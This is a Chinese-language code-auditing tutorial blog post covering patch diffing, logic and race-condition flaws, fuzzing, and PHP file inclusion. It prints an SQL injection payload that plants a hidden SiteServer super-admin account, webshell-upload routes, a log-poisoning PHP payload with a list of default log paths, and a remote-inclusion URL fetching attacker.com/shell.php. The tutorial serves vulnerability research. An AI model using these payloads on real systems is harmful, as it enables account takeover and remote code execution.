Finger
一只孤独的代码狗/程序猿/攻城狮

自己转发自己的,首发圈子 https://www.secquan.org/CodeAudit/532

 

本篇内容#

####### 快速代码审计 ########
#######业务漏洞逻辑漏洞相似性漏洞挖掘 #######
#######基于白盒的fuzz #######
####### 搞基代码审计#######

其实说的快速代码审计是包括但不限于下面所说的逻辑性漏洞,fuzzing,高级代码审计,我这里的话就分开来讲下, 本来想审计出一个好点的漏洞再发的(这里写的可能都是一些nday),但是最近的时间真是赶不上,不仅要做渗透测试代码审计,现在还得负责画像大数据和深度学习这块的,如果有想交流的,可以私下联系我,在圈子的群里那个最菜的就是我了。

先上个脑图吧 (不知道能不能看的清楚)
file

快速审计之补丁对比#

其实这种技术好像是二进制比较成熟了,我研究泉哥的《漏洞战争》的时候,很多时候都是利用这个技术,常用的工具就是BinDiff,在php代码审计也是差不多的,也不一定是php,其实很多都行的,像上次的st2那种漏洞,但是公布漏洞的流程比较规范(052),没放出poc之类的,但是apache的官网已经更新了补丁和补漏洞方法,我这边就是要马上出poc检测,就是用的补丁对比技术。

先讲下php的补丁对比

基于源代码,对比起来更加直观明了

常见对比工具:

系统命令:fc、diff等

专业工具:Beyond Compare(我在用的)、UltraCompare等

常见的安全补丁方式:

变量初始化:$str=‘’;、$arr=array();等

变量过滤: intval/int()、addslashes()、正则等

*对比的版本选择:相临近的版本

我讲下我这边常用的办法:
1.对常见的中间件的公布漏洞网站的页面进行监控,能够快速知道和了解这个漏洞,比如说

http://tomcat.apache.org/security-8.html

http://tomcat.apache.org/security-7.html

http://tomcat.apache.org/security-6.html

这种网站的页面,用爬虫监控起来,如果更新,比如说security-8.html是目前最新的,当出现security-9.html存活的时候/状态码200的时候,就触发一个事件(给你发短信之类的),然后就能速度响应了。也通用于CMS,比如说wordpress,就是换个网站而已。
https://core.trac.wordpress.org/query?status=closed&milestone=4.7.3&group=component&col=id&col=summary&col=component&col=status&col=owner&col=type&col=priority&col=keywords&order=priority

这个status 和milestone.

2.下载版本:我感觉可以一直保存所有版本,上次我做一个站,是wordpress 3.0的,但是已经有的漏洞他已经补了,没办法,再再翻出3.0的版本拿去审计,后面出了一个没公布的0day。。所以我感觉保存是有必要,也不用什么自己去下载,也是和上面一样,监控就行。比如说wordpress,监控https://wordpress.org/download/就行了,相信运维的朋友都懂的。留个硬盘,专门保存所有历史版本。

中间件:Apache&Apache tomcat 、Nginx 、redis 、Weblogic 、Jboss 、JOnAS 、WebSphere 等等 

//附一个常见中间件拿shell https://www.2cto.com/article/201306/221832.html

CMS:这个太多了

国外:wordpress 、joomla 、 drupal 等等

国内:dedecms 帝国cms 思途cms discuz CMS ECShop phpcms 等等

3.补丁对比

首先我们要确定一点,就是这个版本更新是属于安全更新,而不是功能更新。
我用的是Beyond Compare
file

这个是dz的那个uc-key的xx漏洞

变量初始化:$str=‘’;、$arr=array();等

变量过滤: intval/int()、addslashes()、正则等

这些就是关键字
我们需要检索这些敏感的关键词,定位到函数或者xx.php,再用审计工具跟进这个函数(静态分析)
如果单论跟进的话,就用seay的工具,如果觉得不好用可以自己写(我之后会讲一下)

快速代码审计之逻辑漏洞业务型漏洞#

在实现业务功能的同时引入新的安全隐患。

业务漏洞可以参考这个脑图,我就不具体全讲了,我单独讲一个上传吧
file

逻辑漏洞的话,我估计大家都是黑盒挖到的,说实话,黑盒我感觉更简单好想~~
file

尽管可能黑盒更好的挖掘,但是这里我就从代码的角度来看分析一下。

问题一:某些函数的错误 如:empty()、isset()、strpos()、rename()等 于wooyun-2012-04685

if($operateId == 1){
    $date = date("Ymd");
    $dest = $CONFIG->basePath."data/files/".$date."/";
    $COMMON->createDir($dest);
    //if (!is_dir($dest))   mkdir($dest, 0777);
    $nameExt = strtolower($COMMON->getFileExtName($_FILES['Filedata']['name']));
    $allowedType = array('jpg', 'gif', 'bmp', 'png', 'jpeg');
    if(!in_array($nameExt, $allowedType)){
        $msg = 0;
    }
    if(empty($msg)){
        $filename = getmicrotime().'.'.$nameExt;
        $file_url = urlencode($CONFIG->baseUrl.'data/files/'.$date."/".$filename);
        $filename = $dest.$filename;
        if(empty($_FILES['Filedata']['error'])){
            move_uploaded_file($_FILES['Filedata']['tmp_name'],$filename);
        }
        if (file_exists($filename)){
            //$msg = 1;
            $msg = $file_url;
            @chmod($filename, 0444);
        }else{
            $msg = 0;
        }
    }
    $outMsg = "fileUrl=".$msg;
    $_SESSION["eoutmsg"] = $outMsg;
    exit;
}

//这个代码插入 我很难受,我就不在代码中加注释了,我简单说下

//记得要用pre标签

可以看到代码,需if(empty($msg)) 为True,能会进入if分支;

$allowedType = array('jpg', 'gif', 'bmp', 'png', 'jpeg');
if(!in_array($nameExt, $allowedType)){
    $msg = 0;
}

程序的安全检查把$msg赋值为0,经empty($msg)后,仍然返回True,就利用这个逻辑缺陷即可成功的上传shell。后缀名是不是php已经不是关键了。

问题二:条件竞争 于wooyun-2014-049794 & wooyun-2014-048202

if($_POST['realfile']){
    copy($_POST['realfile'],$_POST['path']);
}
$file = mb_convert_encoding($_POST[file],"GBK","UTF-8");
header("Pragma:");
header("Cache-Control:");
header("Content-type:application/octet-stream");
header("Content-Length:".filesize($_POST[path]));
header("Content-Disposition:attachment;filename=\"$file\"");
readfile($_POST[path]);
if($_POST['realfile']){
    unlink($_POST["path"]);
}

这个是很经典的条件竞争,如有兴趣,可以看下phpcms前台设计缺陷导致代码执行那个漏洞;

程序猿逻辑:利用copy函数,将realfile生成shell.php-→删除掉shell.php

黑客逻辑:copy成temp.php-->不断访问temp.php->temp.php生成shell.php->删除temp.php

问题三:逻辑漏洞导致的二次漏洞

-eg:SiteServer 3.4.4 逻辑漏洞导致SQL注入 by 蓝孩

问题出在UserCenter.Pages.DLL中的Register,注册流程逻辑有问题,具体如下:
1.程序先把用户名带入数据库中查询,如果用户名没有重复,进入第二步;
2.再在远程检测用户名中是否含有非法字符,如果没有,则进入第三步;
3.将新注册的用户插入数据库。
由于在进行第一步的时候,程序没有进行任何处理就带入数据库中查询,那么就可以注入
用户名填入以下语句,其他地方正常填写。

123');insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

提交注册之后就往库里面插入了一个用户名为:blue 密码为:lanhai 的超级用户。

默认后台地址为:http://www.xxx.com /siteserver

拿webshell或者直接提权是一个仁者见仁智者见智的活,各家有各家的方法,我大概看了一下,有3种方法
一、站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

二、成员权限-》添加用户-》用户名为:1.asp http://www.xxx.com /usercenter/
用刚才添加的1.asp去登陆,进去之后上传个人头像,利用IIS6解析漏洞得webshell(ps:后台添加用户时不会验证是否含有非法字符)

三、系统工具-》实用工具-》机器参数查看

可以看到数据库类型、名称,WEB路径

系统工具-》数据库工具-》SQL语句查询

这功能做的不错,直接就相当于一个查询分析器,什么回显都有,可以backup得webshell,或者利用sqlserver配置不当。

问题四:相似性漏洞

相似漏洞有三个点:

1.一般出于一个程序猿或者一家公司或者一个功能的代码

2.通用api接口

3.框架型漏洞,如thinkphp的漏洞,一些用了thinkphp框架的cms也会存在,LARAVEL之类的也一样

-eg asp动网上传漏洞

快速代码审计之fuzzing#

Fuzzing技术是一种基于缺陷注入的自动软件测试技术,它利用黑盒分析技术方法,使用大量半有效的数据作为应用程序的输入,以程序是否出现异常为标志,来发现应用程序中可能存在的安全漏洞。半有效数据是指被测目标程序的必要标识部分和大部分数据是有效的,有意构造的数据部分是无效的,应用程序在处理该数据时就有可能发生错误,可能导致应用程序的崩溃或者触发相应的安全漏洞。

根据分析目标的特点,Fuzzing可以分为三类:

1.动态Web页面Fuzzing,针对ASP、PHP、Java、Perl等编写的网页程序,也包括使用这类技术构建的B/S架构应用程序,典型应用软件为HTTP Fuzz;

2.文件格式Fuzzing,针对各种文档格式,典型应用软件为PDF Fuzz;

3.协议Fuzzing,针对网络协议,典型应用软件为针对微软RPC(远程过程调用)的Fuzz。

Fuzzer软件输入的构造方法与黑盒测试软件的构造相似,边界值、字符串、文件头、文件尾的附加字符串等均可以作为基本的构造条件。Fuzzer软件可以用于检测多种安全漏洞,包括缓冲区溢出漏洞、整型溢出漏洞、格式化字符串和特殊字符漏洞、竞争条件和死锁漏洞、SQL注入、跨站脚本、RPC漏洞攻击、文件系统攻击、信息泄露等。

在代码审计中,有些变量在传递的时候追踪起来太麻烦了,我们就能在审计时候引入一些fuzz方法,这样也方便省时省力去测试。

先给个别人写的链接 :

http://www.91ri.org/7202.html

我讲一个例子:

一、本地/远程文件包含 (部分参考于https://en.wikipedia.org/wiki/)

本地或者远程文件包含是PHP代码审计中的高危漏洞,攻击者可利用它加载本地或者远程文件到PHP WEB页面。

危险函数:

include
include_once
require
require_once
show_source
highlight_file
readfile
file_get_contents
fopen
file

通常,PHP中的每一个“文件系统函数”都可能是危险的,可参见这里:

http://ir.php.net/manual/en/ref.filesystem.php

本地文件包含:

include(‘../geshi.php’);
if ( isset($_POST['submit']) ) //*
{
//*
if ( get_magic_quotes_gpc() ) $_POST['source'] =
stripslashes($_POST['source']);
if ( !strlen(trim($_POST['source'])) )
{
//BUG is HERE
$_POST['source'] = implode(”, @file(‘../geshi/’ . $_POST['language'] .
‘.php’));
$_POST['language'] = ‘php’;
}

在星号*标记的一行中,如果存在变量$_POST ['submit']和 $_POST ['language'],那么你就可以读取任何的PHP文件。因此,我们可以利用此漏洞读取config.php文件!

file
注意:

在本地文件包含(LFI)攻击中,攻击者可读取对方主机中的任何日志文件和本地文件。也许这种文件浏览并不能造成多大危害,但攻击者可先构造一个错 误,然后该错误会被记录在服务器上的日志文件中(apache log / error log等等)。当攻击者向目标主机请求一个未存在的文件时:

Test000.php?code=<?php;phpinfo();?>

这将会把全路径地址都记录在error.log文件中(在本例中,你的日志文件路径可能与笔者不同),与此同时,当我们利用LFI漏洞的变量去加载error.log时,攻击者即可执行自己的PHP代码。

默认日志文件路径列表:
var/log/httpd/access_log
var/log/httpd/error_log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
logs/error.log
logs/access.log
logs/error.log
logs/access.log
logs/error.log
logs/access.log
logs/error.log
logs/access.log
logs/error.log
logs/access.log
etc/httpd/logs/access_log
etc/httpd/logs/access.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/www/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log
var/log/apache/access_log
var/log/apache/access.log
var/log/access_log
var/www/logs/error_log
var/www/logs/error.log
usr/local/apache/logs/error_log
usr/local/apache/logs/error.log
var/log/apache/error_log
var/log/apache/error.log
var/log/access_log
var/log/error_log

远程文件包含:

远程文件包含攻击允许恶意用户在存在漏洞的主机上运行自己的PHP代码,攻击者可包含存放在网上空间中用PHP编写的网页(恶意)代码。例如下面的一段漏洞代码:

<?php
if (eregi(“theme.php”, $_SERVER['PHP_SELF']))
die();
global $theme, $_FNROOTPATH,$lang; //<– REQUEST Variable
global $forumback, $forumborder;
$_FN['table_background']=&$forumback;
$_FN['table_border']=&$forumborder;
if ($forumback==”" && $forumborder==”"){
$forumback=”ffffff”;
$forumborder=”000000″;
} // Load File
require_once ($_FNROOTPATH . “themes/$theme/theme.php”);
…
?>

Exploit:

由于变量$_FNROOTPATH未明确地指定数值,因此攻击者可以注入本地的恶意文件到URL中,并在目标服务器上执行:

http://localhost/~flatnux/index.php?_FNROOTPATH=http://attacker.com/shell.php%00

休息一下~~#

这篇文章还没有人发言,快抢第一!

发表评论